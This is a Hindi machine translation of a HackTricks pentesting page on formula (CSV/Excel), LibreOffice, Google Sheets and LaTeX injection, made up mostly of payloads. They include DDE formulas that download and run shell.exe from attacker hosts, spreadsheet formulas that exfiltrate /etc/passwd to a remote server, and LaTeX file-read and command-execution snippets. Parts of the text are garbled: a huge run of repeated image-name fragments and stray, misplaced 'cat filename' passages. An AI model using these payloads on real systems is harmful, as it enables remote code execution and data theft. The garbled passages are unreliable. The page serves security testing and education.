hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

26 KiB
Raw Blame History

सूत्र/CSV/डॉक/लाटेक्स/गोस्टस्क्रिप्ट इंजेक्शन

☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

विशेषता को खोजें जो सबसे अधिक मायने रखती है ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमला सतह का ट्रैक करता है, प्रोएक्टिव धमकी स्कैन चलाता है, एपीआई से वेब ऐप्स और क्लाउड सिस्टम तक आपके पूरे टेक स्टैक में मुद्दों को खोजता है। इसे नि: शुल्क परीक्षण के लिए प्रयास करें आज ही।

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


सूत्र इंजेक्शन

जानकारी

यदि आपका इनपुट CSV फ़ाइल (या किसी अन्य फ़ाइल) में प्रतिबिंबित हो रहा है (या किसी ऐसी फ़ाइल में जो संभावित रूप से एक्सेल द्वारा खोली जाएगी), तो आप शायद एक्सेल शीट को खोलने पर या जब उपयोगकर्ता एक्सेल शीट के अंदर किसी लिंक पर क्लिक करता है तो एक्सेल सूत्र डाल सकते हैं जो चलाया जाएगा

{% hint style="danger" %} आजकल एक्सेल उपयोगकर्ता को चेतावनी देता है (कई बार) जब कुछ बाहरी स्रोत से एक्सेल में लोड होता है ताकि उसे दुष्ट कार्रवाई से बचाया जा सके। इसलिए, अंतिम पेलोड पर सोशल इंजीनियरिंग पर विशेष प्रयास किया जाना चाहिए। {% endhint %}

वर्डलिस्ट

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

हाइपरलिंक

निम्नलिखित उदाहरण अंतिम एक्सेल शीट से सामग्री को निकालने और विभिन्न स्थानों पर अनुरोध करने के लिए बहुत उपयोगी है। लेकिन इसके लिए उपयोगकर्ता को लिंक पर क्लिक करने की आवश्यकता होती है (और चेतावनी प्रॉम्प्ट को स्वीकार करनी होती है)।

उदाहरण https://payatu.com/csv-injection-basic-to-exploit से लिया गया है

चलो मान लो कि एक स्कूल के छात्र रिकॉर्ड प्रबंधन प्रणाली के हमले का स्केनेरियो लेते हैं। एप्लिकेशन शिक्षक को स्कूल में छात्रों के विवरण दर्ज करने की अनुमति देता है। हमलावर एप्लिकेशन तक पहुंच प्राप्त करता है और चाहता है कि एप्लिकेशन का उपयोग करने वाले सभी शिक्षक प्रभावित हों। इसलिए हमलावर वेब एप्लिकेशन के माध्यम से CSV अपवाद हमला करने का प्रयास करता है।
हमलावर को अन्य छात्रों के विवरण चुराने की आवश्यकता होती है। इसलिए हमलावर हाइपरलिंक सूत्र का उपयोग करता है और इसे छात्र विवरण दर्ज करते समय दर्ज करता है।

जब शिक्षक CSV निर्यात करता है और हाइपरलिंक पर क्लिक करता है तो संवेदनशील डेटा हमलावर के सर्वर पर भेजा जाता है।

निर्यात की गई CSV फ़ाइल में इसमें दुष्प्रभावी पेलोड होता है।

हमलावर के वेब सर्वर में छात्र का विवरण।

RCE

इस उदाहरण के काम करने के लिए निम्नलिखित विन्यास को सक्षम करना आवश्यक है:
फ़ाइल → विकल्प → विश्वास केंद्र → विश्वास केंद्र सेटिंग्स → बाहरी सामग्री → डायनामिक डेटा एक्सचेंज सर्वर लॉन्च सक्षम करें
या पुराने एक्सेल संस्करण का उपयोग करें।

अच्छी खबर यह है कि यह पेलोड फ़ाइल खोलने पर स्वचालित रूप से निष्पादित होता है (यदि उपयोगकर्ता चेतावनियों को स्वीकार करता है)।

निम्नलिखित पेलोड के साथ एक कैलकुलेटर को निष्पादित किया जा सकता है =cmd|' /C calc'!xxx

![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LFI

LibreOffice Calc

  • यह स्थानीय /etc/passwd फ़ाइल से पहली पंक्ति को पढ़ेगा: ='file:///etc/passwd'#$passwd.A1
  • इसे बाहर निकालें: =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
  • एक से अधिक पंक्ति बाहर निकालें: =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS बाहर निकालें: =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))

DNS बाहर निकालने के पेलोड का विश्लेषण:

  • file:///etc/passwd#$passwd.A19 - स्थानीय /etc/passwd फ़ाइल से 19वीं पंक्ति को पढ़ेगा
  • ENCODEURL(file:///etc/passwd#$passwd.A19) - वापस आए डेटा को URL encode करेगा
  • MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) - substring के समान, 1वें अक्षर से 41वें तक डेटा पढ़ेगा - DNS होस्टनेम की लंबाई को सीमित करने का एक उपयोगी तरीका (FQDN पर 254 अक्षर की सीमा और लेबल के लिए 63 अक्षर, अर्थात प्रथमस्थान)
  • SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) - सभी % (URL encoding के विशेष अक्षर) के स्थान पर डैश के स्थान पर बदलेगा - इससे केवल वैध DNS अक्षरों का उपयोग होगा
  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) - फ़ाइल से आउटपुट को जोड़ें (जब ऊपरी प्रसंस्करण हो चुका है) और FQDN के साथ (जिसके लिए हमें डोमेन के लिए प्राधिकरण होस्ट का उपयोग करने की सुविधा है)
  • WEBSERVICE - इस अस्तित्वहीन DNS नाम के लिए एक अनुरोध करेगा जिसे हम फिर लॉग को पार्स कर सकते हैं (या DNS प्राधिकरण नाम सर्वर पर tcpdump आदि चला सकते हैं) जिसके लिए हमें नियंत्रण है

Google Sheets OOB डेटा बाहर निकालना

सबसे पहले, आइए कुछ रोचक फ़ंक्शन पेश करें।

CONCATENATE: स्ट्रिंग को एक साथ जोड़ता है।

=CONCATENATE(A2:E2)

IMPORTXML: XML, HTML, CSV, TSV, और RSS और ATOM XML फ़ीड सहित विभिन्न संरचित डेटा प्रकार से डेटा आयात करता है।

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: एक RSS या ATOM फ़ीड आयात करता है।

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: एचटीएमएल पेज के भीतर स्थित एक तालिका या सूची से डेटा आयात करता है।

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: एक निर्दिष्ट स्प्रेडशीट से एक सेल रेंज आयात करता है।

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

छवि: एक सेल में एक छवि डालता है।

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

लेटेक्स इंजेक्शन

आमतौर पर इंटरनेट पर पाए जाने वाले सर्वर जो लेटेक्स कोड को पीडीएफ में रूपांतरित करते हैं उन्हें pdflatex का उपयोग करते हैं।
यह प्रोग्राम (अविकल्पित) कमांड निष्पादन के लिए 3 मुख्य गुणों का उपयोग करता है:

  • --no-shell-escape: \write18{command} निर्माण को अक्षम करें, यदि यह texmf.cnf फ़ाइल में सक्षम है।
  • --shell-restricted: --shell-escape के समान, लेकिन 'सुरक्षित' सेट के पूर्वनिर्धारित **कमांड्स के लिए सीमित (**Ubuntu 16.04 पर सूची /usr/share/texmf/web2c/texmf.cnf में है)।
  • --shell-escape: \write18{command} निर्माण को सक्षम करें। कमांड कोई भी शेल कमांड हो सकता है। सुरक्षा कारणों से यह निर्माण आमतौर पर अनुमति नहीं होता है।

हालांकि, कमांड निष्पादन के लिए अन्य तरीके भी हैं, इसलिए RCE से बचने के लिए --shell-restricted का उपयोग करना बहुत महत्वपूर्ण है।

फ़ाइल पढ़ें

आपको शायद व्रैपर के साथ इंजेक्शन को समायोजित करने की आवश्यकता हो सकती है जैसे [ या $।

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

एकल रेखांकित फ़ाइल पढ़ें

To read a single-lined file, you can use the following command:

एकल रेखांकित फ़ाइल को पढ़ने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:

cat filename

Replace filename with the name of the file you want to read.

filename को उस फ़ाइल के नाम से बदलें जिसे आप पढ़ना चाहते हैं।

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

एकाधिक पंक्तिबद्ध फ़ाइल पढ़ें

To read a file with multiple lines, you can use the following command:

एकाधिक पंक्तिबद्ध फ़ाइल को पढ़ने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:

cat filename.txt

This command will display the contents of the file filename.txt on the terminal, including all the lines present in the file.

यह कमांड टर्मिनल पर filename.txt फ़ाइल की सामग्री को प्रदर्शित करेगा, जिसमें फ़ाइल में मौजूद सभी पंक्तियां शामिल होंगी।

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

फ़ाइल लिखें

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

कमांड निष्पादन

कमांड का इनपुट stdin पर रीडायरेक्ट होगा, इसे प्राप्त करने के लिए एक अस्थायी फ़ाइल का उपयोग करें।

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

यदि आपको कोई LaTex त्रुटि मिलती है, तो बुरे अक्षरों के बिना परिणाम प्राप्त करने के लिए base64 का उपयोग करने का विचार करें।

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

क्रॉस साइट स्क्रिप्टिंग

@EdOverflow से

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

गोस्टस्क्रिप्ट इंजेक्शन

TODO: https://blog.redteam-pentesting.de/2023/ghostscript-overview/ से अधिक महत्वपूर्ण जानकारी और तकनीकों के साथ एक सारांश बनाएं।

संदर्भ

विशेषता खोजें जो सबसे अधिक मायने रखती हैं ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमला सतह का ट्रैक करता है, प्रोएक्टिव धमकी स्कैन चलाता है, आपकी पूरी टेक स्टैक, एपीआई से वेब ऐप्स और क्लाउड सिस्टम तक, में समस्याओं को खोजता है। इसे मुफ्त में प्रयास करें आज।

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की अनुमति चाहिए? सदस्यता योजनाएं की जांच करें!
  • खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
  • प्राप्त करें आधिकारिक PEASS & HackTricks swag
  • शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे ट्विटर पर फ़ॉलो करें 🐦@carlospolopm.
  • अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके hacktricks repo और hacktricks-cloud repo को।